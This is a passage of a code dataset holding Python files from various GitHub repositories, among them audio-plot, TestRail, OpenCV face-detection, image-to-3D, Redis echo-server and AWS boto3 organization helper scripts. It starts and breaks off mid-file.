super(MakamAudioImage, self).run(musicbrainzid, fname)\n\n        try:\n            pitchfile = util.docserver_get_filename(musicbrainzid, \"jointanalysis\", \"pitch\", part=1, version=\"0.1\")\n            loaded_pitch = json.load(open(pitchfile, 'r'))\n            # If pitch extraction from jointanalysis failed then load it from audioanlysis\n            if not loaded_pitch:\n                pitchfile = util.docserver_get_filename(musicbrainzid, \"audioanalysis\", \"pitch\", part=1, version=\"0.1\")\n                loaded_pitch = json.load(open(pitchfile, 'r'))\n        except util.NoFileException:\n            pitchfile = util.docserver_get_filename(musicbrainzid, \"audioanalysis\", \"pitch\", part=1, version=\"0.1\")\n            loaded_pitch = json.load(open(pitchfile, 'r'))\n\n        pitch = np.array(loaded_pitch['pitch'])\n\n        audioSeyirAnalyzer = audioseyiranalyzer.AudioSeyirAnalyzer()\n\n        # compute number of frames from some simple rules set by the user\n        duration = pitch[-1][0]\n        min_num_frames = 40\n        max_frame_dur = 30\n        frame_dur = duration / min_num_frames if duration / min_num_frames <= max_frame_dur else max_frame_dur\n        frame_dur = int(5 * round(float(frame_dur) / 5))  # round to 5 seconds\n        if not frame_dur:\n            frame_dur = 5\n\n        seyir_features = audioSeyirAnalyzer.analyze(pitch, frame_dur=frame_dur, hop_ratio=0.5)\n\n        fimage = tempfile.NamedTemporaryFile(mode='w+', suffix=\".png\")\n        plot(seyir_features, fimage.name)\n        fimage.flush()\n        fileContent = None\n        with open(fimage.name, mode='rb') as file:\n            file_content = file.read()\n        if not file_content:\n            raise Exception(\"No image generated\")\n        ret['smallfull'] = file_content\n\n        return ret\n\n\ndef plot(seyir_features, file_location, plot_average_pitch=True, plot_stable_pitches=True,\n         plot_distribution=False):\n    plt.switch_backend('Agg')\n    fig = plt.figure(frameon=False)\n    if plot_distribution:\n        time_starts = [sf['time_interval'][0] for sf in seyir_features]\n        min_time = min(np.diff(time_starts))\n        for sf in seyir_features:\n            # plot the distributions through time\n            yy = sf['pitch_distribution'].bins\n            tt = sf['time_interval'][0] + sf['pitch_distribution'].vals * min_time * 2\n            plt.plot(tt, yy)\n\n    for sf in seyir_features:\n        if len(sf['stable_pitches']):\n            t_st = sf['time_interval'][0]\n            max_peak = max([sp['value'] for sp in sf['stable_pitches']])\n            for sp in sf['stable_pitches']:\n                clr = 'r' if sp['value'] == max_peak else 'b'\n                # map the values from 0-1 to 1-6\n                marker_thickness = sp['value'] * 5 + 1\n                plt.plot(t_st, sp['frequency'], 'o', color=clr, ms=marker_thickness)\n\n    if plot_average_pitch:\n        tt = [sf['time_interval'][0] for sf in seyir_features]\n        pp = [sf['average_pitch'] for sf in seyir_features]\n\n        plt.plot(tt, pp, color='k', linewidth=3)\n\n    fig.set_size_inches(31.25, 2.6)\n    fig.set_tight_layout(True)\n    plt.axis('off')\n    plt.margins(0, 0)\n\n    plt.savefig(file_location, bbox_inches='tight', pad_inches=0)\n","repo_name":"MTG/pycompmusic","sub_path":"compmusic/extractors/makam/makamaudioimage.py","file_name":"makamaudioimage.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"16"}
+{"seq_id":"13201761421","text":"from base import *\n\nif __name__ == \"__main__\":\n    milestone_name = config.MILESTONE\n    suite_name = config.SUITE\n    call = Base()\n    test_plan_name = config.PLAN_NAME\n\n    if not call.is_test_plan_exist:\n        description = 'Publish the results of Tempest tests in TestRail'\n        entries = []\n        milestone = call.get_milestone_by_name(milestone_name)\n\n        test_plan = call.add_plan(test_plan_name,\n                                  description=description,\n                                  milestone_id=milestone['id'],\n                                  entries=[]\n                                  )\n\n    test_plan = call.get_plan_by_name(test_plan_name)\n    suite = call.get_suite_by_name(suite_name)\n    test_run_name = milestone_name + ' ' + suite['name']\n    entries = {'name': test_run_name,\n               'suite_id': suite['id'],\n               'include_all': True}\n    run = call.add_plan_entry(test_plan['id'], entries)\n    tests = call.get_tests(run['runs'][0]['id'])\n\n    tests_status = call.get_result_by_name()\n    results = call.prepare_common_results(tests, tests_status)\n    add_results = 'add_results/' + str(run['runs'][0]['id'])\n    call.client.send_post(add_results, results)\n\n\n\n","repo_name":"sandriichenko/for_testrail","sub_path":"add_common_results.py","file_name":"add_common_results.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37757595892","text":"#!/usr/bin/python3\n\"\"\"A method that determines if all the boxes can be opened\"\"\"\n\n\ndef canUnlockAll(boxes):\n    \"\"\"This function will take a list of lists (boxes) and the content\n       will unlock other boxes eventhough not all will be opened\n    \"\"\"\n\n    ans = [0]\n    for key in ans:\n        for boxKey in boxes[key]:\n            if boxKey not in ans and boxKey < len(boxes):\n                ans.append(boxKey)\n    if len(ans) == len(boxes):\n        return True\n    return False\n","repo_name":"Meyvel22/alx-interview","sub_path":"0x01-lockboxes/0-lockboxes.py","file_name":"0-lockboxes.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16106044132","text":"\nimport re\n\n\ndef get_id_from_email (email):\n\n    pattern = r'\\d+'  # Matches one or more digits\n\n    matches = re.findall(pattern, email)\n    if matches:\n        extracted_number = matches[0]\n        return str(extracted_number)\n    else:\n        return None\n    \n","repo_name":"rengo540/fcis_overflow","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33823974019","text":"import cv2, sys, os\r\nimport numpy as np\r\nfrom scipy.misc import imresize\r\nfrom tqdm import trange\r\n\r\ndef create3D(greyed, image_name):\r\n    fid = open('3d_data/baru_{}.obj'.format(image_name), 'w')\r\n    scl = 20 #ngatur ketinggian\r\n    med = np.max(greyed) #np.max(greyed) kalau mau timbul, np.median(greyed) kalau cekung\r\n    rows, columns = greyed.shape\r\n    deepest = 1000000\r\n    for a in trange(rows, desc='create vertex'):\r\n        for b in range(columns):\r\n            if greyed[a][b] == 0:\r\n                t = greyed[a][b]\r\n                f = t*med/255.0*scl\r\n            elif greyed[a][b] > med:\r\n                t = med - (greyed[a][b] - med)\r\n                f = t/255.0*scl\r\n            else:\r\n                t = greyed[a][b]\r\n                f = t/255.0*scl\r\n            if f < deepest:\r\n                deepest = f\r\n            fid.write('v {} {} {}\\n'.format(a+1, b+1, f))\r\n    for a in range(rows):\r\n        for b in range(columns):\r\n            fid.write('v {} {} {}\\n'.format(a+1, b+1, deepest-50))\r\n    fid.write('s 1\\n')\r\n    x = rows * columns\r\n    for d in trange(1, x+1, desc='create triangle mesh'):\r\n        if d+columns+1 <= x:\r\n            y = d + x\r\n            if d%2==1 and d%columns!=0:\r\n                fid.write('f {} {} {}\\n'.format(d, d+1, d + columns))\r\n                fid.write('f {} {} {}\\n'.format(y, y + 1, y + columns))\r\n                fid.write('f {} {} {}\\n'.format(d, d+1, d+1+x))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d+1+x))\r\n            if d%2==1 and (d+columns)%columns != 1:\r\n                fid.write('f {} {} {}\\n'.format(d, d-1, d+columns))\r\n                fid.write('f {} {} {}\\n'.format(y, y - 1, y + columns))\r\n                fid.write('f {} {} {}\\n'.format(d, d-1, d-1+x))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d-1+x))\r\n            if d%2==0 and (d+columns)%columns !=1:\r\n                fid.write('f {} {} {}\\n'.format(d, d+columns-1, d+columns))\r\n                fid.write('f {} {} {}\\n'.format(y, y + columns - 1, y + columns))\r\n                fid.write('f {} {} {}\\n'.format(d, d-1+columns, d+x-1+columns))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d+x-1+columns))\r\n            if d%2==0 and d%columns!=0:\r\n                fid.write('f {} {} {}\\n'.format(d, d+columns, d+columns+1))\r\n                fid.write('f {} {} {}\\n'.format(y, y + columns, y + columns + 1))\r\n                fid.write('f {} {} {}\\n'.format(d, d+1+columns, d+x+1+columns))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d+x+1+columns))\r\n            fid.write('f {} {} {}\\n'.format(d, d+columns, d+x-1+columns))\r\n            fid.write('f {} {} {}\\n'.format(d, d+x, d+x+columns))\r\n        else:\r\n            if d%2==1 and d%columns!=0:\r\n                fid.write('f {} {} {}\\n'.format(d, d+1, d+1+x))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d+1+x))\r\n            if d%2==1 and (d+columns)%columns != 1:\r\n                fid.write('f {} {} {}\\n'.format(d, d-1, d-1+x))\r\n                fid.write('f {} {} {}\\n'.format(d, d+x, d-1+x))\r\n    fid.close()\r\n    print('result_{}.obj created'.format(image_name))\r\n\r\ndef process_image(image_object, image_name):\r\n    copied = image_object.copy()\r\n    edged = cv2.Canny(copied, 10, 250)\r\n    # cv2.imshow('edged', edged)\r\n    kernel = np.ones((5, 5), np.uint8)\r\n    dilation = cv2.dilate(edged, kernel, iterations=1)\r\n    # cv2.imshow('dilation', dilation)\r\n    closing = cv2.morphologyEx(dilation, cv2.MORPH_CLOSE, kernel)\r\n    # cv2.imshow('closing', closing)\r\n    (image, cnts, hiers) = cv2.findContours(closing, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n    cont = cv2.drawContours(copied, cnts, -1, (0, 0, 0), 1, cv2.LINE_AA)\r\n    # cv2.imshow('contour', cont)\r\n    mask = np.zeros(cont.shape[:2], dtype=\"uint8\") * 255\r\n    cv2.drawContours(mask, cnts, -1, (255, 255, 255), -1)\r\n    img = cv2.bitwise_and(cont, cont, mask=mask)\r\n    # cv2.imshow('masked', img)\r\n    # cv2.waitKey(0)\r\n    new_img = None\r\n    for c in cnts:\r\n        x, y, w, h = cv2.boundingRect(c)\r\n        if w > 50 and h > 130:\r\n            new_img = img[y:y + h, x:x + w]\r\n    if new_img is not None:\r\n        cv2.imwrite('cropped_image/cropped_{}.png'.format(image_name), new_img)\r\n        print('cropped_{}.png created'.format(image_name))\r\n    return new_img\r\n\r\ndef resize_image(images):\r\n    row, col = images.shape\r\n    if row > col:\r\n        if row > 1000:\r\n            m = 1000.0 / row\r\n        else:\r\n            m = 1.0\r\n    else:\r\n        if col > 1000:\r\n            m = 1000.0 / col\r\n        else:\r\n            m = 1.0\r\n    resized_image = imresize(images, m)\r\n    return resized_image\r\n\r\nif __name__ == '__main__':\r\n    image_path = sys.argv[1:]\r\n    if len(image_path) == 0:\r\n        print('please insert image file name, ex: python app.py [image1] [image2] [image3]....')\r\n        exit()\r\n    for individual in image_path:\r\n        image_name = os.path.basename(individual)\r\n        image_object = cv2.imread(individual,0)\r\n        if image_object is None:\r\n            print('{} is not an image file'.format(image_name))\r\n            exit()\r\n        new_image = process_image(image_object, image_name.split('.')[0])\r\n        if new_image is not None:\r\n            resized_image = resize_image(new_image)\r\n            create3D(resized_image, image_name.split('.')[0])\r\n        else:\r\n            print('image processing failed, create 3d from original image')\r\n            resized_image = resize_image(image_object)\r\n            create3D(resized_image, image_name.split('.')[0])\r\n        print('\\n')","repo_name":"kcv-if/pengmas","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15330659796","text":"import cv2\n\n# Load the cascade\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\neye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')\n\n# Read the input image\nimg = cv2.imread('testimage.jpg')\n\n# Convert into grayscale\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# Detect faces\nfaces = face_cascade.detectMultiScale(gray, 1.5, 4)\n\n# Draw rectangle around the faces\nfor (x, y, w, h) in faces:\n    img=cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)\n    img2=img[y:y+h,x:x+h]\n    gray2=gray[y:y+h,x:x+h]\n    # Detect eyes\n    eyes = eye_cascade.detectMultiScale(gray2,1.5,4)\n    # Draw rectangle around the eyes\n    for (x2, y2, w2, h2) in eyes:\n        cv2.rectangle(img2, (x2, y2), (x2 + w2, y2 + h2), (0, 255, 0), 2)\n\n# Display the output\ncv2.imshow('img', img)\ncv2.waitKey()\n\n\n","repo_name":"ZakariaBOUZIT/face-eye-detection-Haar-Cascades","sub_path":"face&eye_image_detection.py","file_name":"face&eye_image_detection.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"30692450963","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Tests for the RAW storage media image path specification implementation.\"\"\"\n\nimport unittest\n\nfrom dfvfs.path import raw_path_spec\n\nfrom tests.path import test_lib\n\n\nclass RawPathSpecTest(test_lib.PathSpecTestCase):\n  \"\"\"Tests for the RAW storage media image path specification implementation.\"\"\"\n\n  def testInitialize(self):\n    \"\"\"Tests the path specification initialization.\"\"\"\n    path_spec = raw_path_spec.RawPathSpec(parent=self._path_spec)\n\n    self.assertIsNotNone(path_spec)\n\n    with self.assertRaises(ValueError):\n      raw_path_spec.RawPathSpec(parent=None)\n\n    with self.assertRaises(ValueError):\n      raw_path_spec.RawPathSpec(parent=self._path_spec, bogus='BOGUS')\n\n  def testComparable(self):\n    \"\"\"Tests the path specification comparable property.\"\"\"\n    path_spec = raw_path_spec.RawPathSpec(parent=self._path_spec)\n\n    self.assertIsNotNone(path_spec)\n\n    expected_comparable = '\\n'.join([\n        'type: TEST',\n        'type: RAW',\n        ''])\n\n    self.assertEqual(path_spec.comparable, expected_comparable)\n\n\nif __name__ == '__main__':\n  unittest.main()\n","repo_name":"log2timeline/dfvfs","sub_path":"tests/path/raw_path_spec.py","file_name":"raw_path_spec.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"16"}
+{"seq_id":"71797931527","text":"from multiprocessing import Process\nfrom threading import Thread\nimport time\ncounter=10\n\ndef AddOne(name):\n    global counter\n    while counter>0:\n        time.sleep(0.01)\n        counter-=1\n        print(name,counter)\n\ndef main():\n    print(\"多进程\".center(20,\"*\"))\n    p1=Process(target=AddOne,args=(\"p1\",))\n    p1.start()\n    p2=Process(target=AddOne,args=(\"p2\",))\n    p2.start()\n    p1.join()\n    p2.join()\n\n    print(\"单进程\".center(20,\"*\"))\n    global counter\n    counter=10\n    AddOne(\"p1\")\n    AddOne(\"P2\")\n\n\n    counter=10\n    print(\"多线程\".center(20,\"*\"))\n    t1=Thread(target=AddOne,args=(\"t1\",))\n    t1.start()\n    t2=Thread(target=AddOne,args=(\"t2\",))\n    t2.start()\n    t1.join()\n    t2.join()\n\nif __name__==\"__main__\":\n    main()\n","repo_name":"angOneServe/MyPython100days","sub_path":"day13/2_多进程的变量问题.py","file_name":"2_多进程的变量问题.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23332263858","text":"import sys\nimport os\nimport subprocess\nimport shutil\n\nbuilddir = 'dist'\n\ndef main():\n\tabspath = os.path.abspath(sys.argv[0])\n\tdirname = os.path.dirname(abspath)\n\trootpath = os.path.abspath(dirname + '/../')\n\tprint('Root path: ' + rootpath)\n\tbuildpath = rootpath + '/' + builddir\n\tprint('Build path: ' + buildpath)\n\n\tsubprocess.call('tsc', cwd=rootpath, shell=True)\n\tshutil.copytree(rootpath + '/src/styles', buildpath + '/styles')\n\n\tshutil.copy(rootpath + '/package.json', buildpath)\n\tshutil.copy(rootpath + '/README.md', buildpath)\n\tshutil.copy(rootpath + '/LICENSE', buildpath)\n\n\tos.mkdir(buildpath + '/scripts')\n\tshutil.copy(rootpath + '/scripts/theme.py', buildpath + '/scripts')\n\tshutil.copy(rootpath + '/scripts/palette_light.json', buildpath + '/scripts')\n\tshutil.copy(rootpath + '/scripts/palette_dark.json', buildpath + '/scripts')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"adcimon/react-components","sub_path":"scripts/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32215698429","text":"#!/usr/bin/env python\n\nimport socket\nimport logging\nimport redis\n\n# add filemode=\"w\" to overwrite\nlogging.basicConfig(filename=\"/var/log/server.log\", level=logging.INFO)\n\nsock = socket.socket()\nsock.bind(('', 9091))\nsock.listen(1)\nconn, addr = sock.accept()\n\nprint ('connected:', addr)\ncache = redis.Redis(host='rediska', port=6379)\ncache.ping()\nwhile True:\n    data = conn.recv(1024)\n    if not data:\n        break\n    if cache.exists(data):\n        conn.send(\"Cached:\".encode('utf-8') + data)\n    else:\n        cache.set(data, data)\n        print(\"Got:\", data)\n        conn.send(\"OK:\".encode('utf-8') + data)\n    logging.info(data)\nconn.close()\n","repo_name":"vmishenev/cached_echo_server_docker","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19707080069","text":"import boto3\nfrom boto3.session import Session\nfrom botocore.config import Config\nfrom botocore.exceptions import ClientError\nimport json\nimport os\nimport shelve\nimport sys\nimport time\nimport datetime\n\ncurrent_region = os.environ['AWS_REGION']\nboto_config = Config(retries=dict(max_attempts=10))\n\naws_region_dict = {\"us-east-1\": \"use1\",\n    \"us-east-2\": \"use2\",\n    \"us-west-1\": \"usw1\",\n    \"us-west-2\": \"usw2\",\n    \"us-gov-west-1\": \"usgw2\",\n    \"ca-central-1\": \"cac1\",\n    \"eu-west-1\": \"ew1\",\n    \"eu-west-2\": \"ew2\",\n    \"eu-central-1\": \"ec1\",\n    \"ap-southeast-1\": \"apse1\",\n    \"ap-southeast-2\": \"apse2\",\n    \"ap-south-1\": \"aps1\",\n    \"ap-northeast-1\": \"apne1\",\n    \"ap-northeast-2\": \"apne2\",\n    \"sa-east-1\": \"sae1\",\n    \"cn-north-1\": \"cn1\"\n}\n\n\ndef _get_credentials(arn=None, account=None):\n    if arn is not None:\n        account = arn.split(':')[4]        \n    role = f\"arn:aws:iam::{account}:role/{os.environ['OrgRoleName']}\"\n    session_name = \"carve-network-test\"\n    credentials = aws_assume_role(role, session_name)\n    credentials['Account'] = account\n    return credentials\n\n\ndef aws_assume_role(role_arn, session_name, token_life=900):\n    # a function for this lambda to assume a given role\n    sts_client = boto3.client(\n        'sts',\n        region_name=current_region,\n        endpoint_url=f'https://sts.{current_region}.amazonaws.com',\n        config=boto_config\n        )\n    try:\n        assumed_role_object = sts_client.assume_role(\n            RoleArn=role_arn,\n            RoleSessionName=session_name,\n            DurationSeconds=int(token_life))\n        assumed_role_object['Credentials']['Account'] = role_arn.split(':')[4]\n        return assumed_role_object['Credentials'] \n    except ClientError as e:\n        print(f'Failed to assume {role_arn}: {e}')\n        sys.exit()\n\n\n\ndef aws_current_account():\n    sts = boto3.client('sts')\n    account = sts.get_caller_identity()['Account']\n    return account\n\ndef aws_discover_org_accounts():\n    ''' discover all accounts in the AWS Org'''\n    orgs = boto3.client('organizations')\n    root = orgs.describe_organization()['Organization']['MasterAccountArn'].split(':')[4]\n    account = aws_current_account()\n    if account == root:\n        client = orgs\n    else:\n        credentials = _get_credentials(account=root)\n        client = boto3.client(\n            'organizations',\n            aws_access_key_id = credentials['AccessKeyId'],\n            aws_secret_access_key = credentials['SecretAccessKey'],\n            aws_session_token = credentials['SessionToken']\n            )\n\n    paginator = client.get_paginator('list_accounts')\n    pages = paginator.paginate(PaginationConfig={'PageSize': 20})\n    accounts = {}\n    for page in pages:\n        # add each account that is active\n        for account in page['Accounts']:\n            if account['Status'] == 'ACTIVE':\n                # create new account object\n                accounts[account['Id']] = account['Name']\n    return accounts\n\n\ndef aws_all_regions():\n    # get all regions\n    if 'Regions' in os.environ:\n        all_regions = os.environ['Regions'].split(\",\")\n        if len(all_regions) == 0:\n            all_regions = Session().get_available_regions('cloudformation')        \n    else:\n        all_regions = Session().get_available_regions('cloudformation')\n    # not all regions support what carve does (SNS and other limitations)\n    unavailable = ['af-south-1', 'eu-south-1', 'ap-east-1', 'me-south-1']\n    regions = []\n    for region in all_regions:\n        if region not in unavailable:\n            regions.append(region)\n    # this will disable regions for testing\n    print(f'using regions: {regions}')\n    return regions\n\n\ndef aws_codepipeline_success(job_id):\n    client = boto3.client('codepipeline', region_name=current_region)\n    try:\n        response = client.put_job_success_result(jobId=job_id)\n        return response\n    except ClientError as e:\n        print(f'error returning success to codepipeline: {e}')\n\n\ndef aws_start_stepfunction(sf_arn, sf_input, name):\n    ''' start a step function workflow with the given input '''\n\n    client = boto3.client('stepfunctions', region_name=current_region)\n    sm_input = json.dumps(sf_input)\n\n    response = client.start_execution(\n        stateMachineArn=sf_arn,\n        name=name,\n        input=sm_input)\n\n    return response\n\n\ndef aws_describe_stack(stackname, region, credentials=None):\n    ''' return a stack description if it exists ''' \n    if credentials is None:\n        client = boto3.client(\n            'cloudformation',\n            config=boto_config,\n            region_name=region\n            )\n    else:\n        client = boto3.client(\n            'cloudformation',\n            config=boto_config,\n            region_name=region,\n            aws_access_key_id = credentials['AccessKeyId'],\n            aws_secret_access_key = credentials['SecretAccessKey'],\n            aws_session_token = credentials['SessionToken']\n            )\n    try:\n        stack = client.describe_stacks(StackName=stackname)['Stacks'][0]\n    except ClientError as e:\n        if e.response['Error']['Code'] == 'ValidationError':\n            stack = None\n        else:\n            raise e\n\n    return stack\n\n\ndef aws_get_stack_outputs_dict(stackname, region, credentials=None):\n    ''' get the outputs of the stack '''\n    stack = aws_describe_stack(stackname, region, credentials)\n    outputs = {}\n    if stack is not None:\n        for output in stack['Outputs']:\n            outputs[output['OutputKey']] = output['OutputValue']\n    return outputs\n\n\n\ndef aws_describe_vpc_endpoint_service_configuration(service, region):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region\n        )\n    try:\n        response = client.describe_vpc_endpoint_service_configurations(\n            ServiceIds=[service],\n        )\n        return response['ServiceConfigurations'][0]\n    except ClientError as e:\n        raise(e)\n\n\n# def aws_describe_vpc_endpoint(endpoint_id, credentials, region=current_region):\n#     client = boto3.client(\n#         'ec2',\n#         config=boto_config,\n#         region_name=region,\n#         aws_access_key_id = credentials['AccessKeyId'],\n#         aws_secret_access_key = credentials['SecretAccessKey'],\n#         aws_session_token = credentials['SessionToken']\n#         )\n#     response = client.describe_vpc_endpoints(\n#         VpcEndpointIds=[\n#             endpoint_id\n#         ],\n#     )\n#     return response\n\n\ndef aws_describe_network_interfaces(interface_ids, credentials, region=current_region):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    paginator = client.get_paginator('describe_network_interfaces')\n    results = {}\n    for page in paginator.paginate(NetworkInterfaceIds=interface_ids):\n        for interface in page['NetworkInterfaces']:\n            results[interface['SubnetId']] = interface['PrivateIpAddress']\n\n    return results\n\n\ndef aws_get_template(stackname, region, credentials=None):\n    ''' return the template for a stack '''\n    if credentials is None:\n        client = boto3.client(\n            'cloudformation',\n            config=boto_config,\n            region_name=region\n            )\n    else:\n        client = boto3.client(\n            'cloudformation',\n            config=boto_config,\n            region_name=region,\n            aws_access_key_id = credentials['AccessKeyId'],\n            aws_secret_access_key = credentials['SecretAccessKey'],\n            aws_session_token = credentials['SessionToken']\n            )\n    try:\n        template = client.get_template(StackName=stackname)\n    except ClientError as e:\n        if e.response['Error']['Code'] == 'ValidationError':\n            template = None\n        else:\n            raise e\n    return template\n\n\ndef aws_describe_vpc_endpoint_permissions(service_id):\n    ''' get allowed principals on vpc endpoint ''' \n    client = boto3.client('ec2',config=boto_config)\n    try:\n        paginator = client.get_paginator('describe_vpc_endpoint_service_permissions')\n        results = []\n        for page in paginator.paginate(ServiceId=service_id, PaginationConfig={'PageSize': 100}):\n            for allowed in page['AllowedPrincipals']:\n                results.append(allowed['Principal'])\n        return results\n\n    except ClientError as e:\n        results = []\n\n    return results\n\n\ndef aws_modify_vpc_endpoint_permissions(service_id, add_principals=[], remove_principals=[]):\n    ''' update allowed principals on vpc endpoint ''' \n    client = boto3.client('ec2',config=boto_config)\n    try:\n        response = client.modify_vpc_endpoint_service_permissions(\n            ServiceId=service_id,\n            AddAllowedPrincipals=add_principals,\n            RemoveAllowedPrincipals=remove_principals\n        )\n    except ClientError as e:\n        print(f'error modifying vpc endpoint permissions: {e}')\n\n\n\ndef aws_get_carve_tags(lambda_arn):\n    ''' get my own tags and format for CFN calls '''\n\n    # check for cached tags to save API calls\n    cfn_tags = shelve.open('/tmp/tags_cache', writeback=True)\n\n    # if not cached, get tags\n    if len(cfn_tags) == 0:\n        client = boto3.client('lambda')\n        response = client.list_tags(Resource=lambda_arn)\n\n        cfn_tags = []\n        for key, value in response['Tags'].items():\n            if key.startswith(\"aws:\"):\n                pass\n            else:\n                tag = {}\n                tag['Key'] = key\n                tag['Value'] = value\n                cfn_tags.append(tag)\n    else:\n        print(f\"found cached tags: {cfn_tags}\")\n\n    return cfn_tags\n\n\ndef aws_get_orgid():\n    client = boto3.client('organizations', config=boto_config)\n    response = client.describe_organization()\n    return(response['Organization']['MasterAccountId'])\n\n\ndef aws_execute_change_set(changesetname, stackname, region, credentials):\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    response = client.execute_change_set(\n        ChangeSetName=changesetname,\n        StackName=stackname)\n    return response\n\n\ndef aws_describe_instances(instances, region, credentials):\n    if len(instances) == 0:\n        return []\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    paginator = client.get_paginator('describe_instances')\n    results = []\n    for page in paginator.paginate(InstanceIds=instances):\n        for reservation in page['Reservations']:\n            for instance in reservation['Instances']:\n                results.append(instance)\n    return results\n\n\ndef aws_create_ec2_tag(instance, tags, region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    response = client.create_tags(\n        Resources=[instance],\n        Tags=tags # [{'Key': 'Name', 'Value': name}]\n    )\n\n\ndef aws_describe_transit_gateways(region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    paginator = client.get_paginator('describe_transit_gateways')\n    results = []\n    for page in paginator.paginate():\n        for each in page['TransitGateways']:\n            results.append(each)\n    return results\n\n\ndef aws_describe_transit_gateway_attachments(region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    paginator = client.get_paginator('describe_transit_gateway_attachments')\n    results = []\n    for page in paginator.paginate():\n        for each in page['TransitGatewayAttachments']:\n            results.append(each)\n    return results\n\n\ndef aws_describe_transit_gateway_vpc_attachments(region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    paginator = client.get_paginator('describe_transit_gateway_vpc_attachments')\n    results = []\n    for page in paginator.paginate():\n        for each in page['TransitGatewayVpcAttachments']:\n            results.append(each)\n    return results\n\n\ndef aws_describe_transit_gateway_route_tables(region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n    )\n    paginator = client.get_paginator('describe_transit_gateway_route_tables')\n    results = []\n    for page in paginator.paginate():\n        for each in page['TransitGatewayRouteTables']:\n            results.append(each)\n    return results\n\n\n# def aws_describe_transit_gateway_peering_attachments(tgw_id, region, credentials):\n#     client = boto3.client(\n#         'ec2',\n#         config=boto_config,\n#         region_name=region,\n#         aws_access_key_id = credentials['AccessKeyId'],\n#         aws_secret_access_key = credentials['SecretAccessKey'],\n#         aws_session_token = credentials['SessionToken']\n#     )\n#     paginator = client.get_paginator('describe_transit_gateway_peering_attachments')\n#     ta = []\n\n#     for page in paginator.paginate(TransitGatewayAttachmentIds=[tgw_id]):\n#         for t in page['TransitGatewayAttachmentIds']:\n#             ta.append(t)\n#     return ta\n\n\n# def aws_describe_transit_gateway_vpc_attachments(tgw_id, region, credentials):\n#     client = boto3.client(\n#         'ec2',\n#         config=boto_config,\n#         region_name=region,\n#         aws_access_key_id = credentials['AccessKeyId'],\n#         aws_secret_access_key = credentials['SecretAccessKey'],\n#         aws_session_token = credentials['SessionToken']\n#     )\n# paginator = client.get_paginator('describe_transit_gateway_attachments')\n# ta = []\n\n# for page in paginator.paginate(TransitGatewayAttachmentIds=[tgw_id]):\n#     for t in page['TransitGatewayAttachmentIds']:\n#         ta.append(t)\n# return ta\n\n\n\n\n\ndef 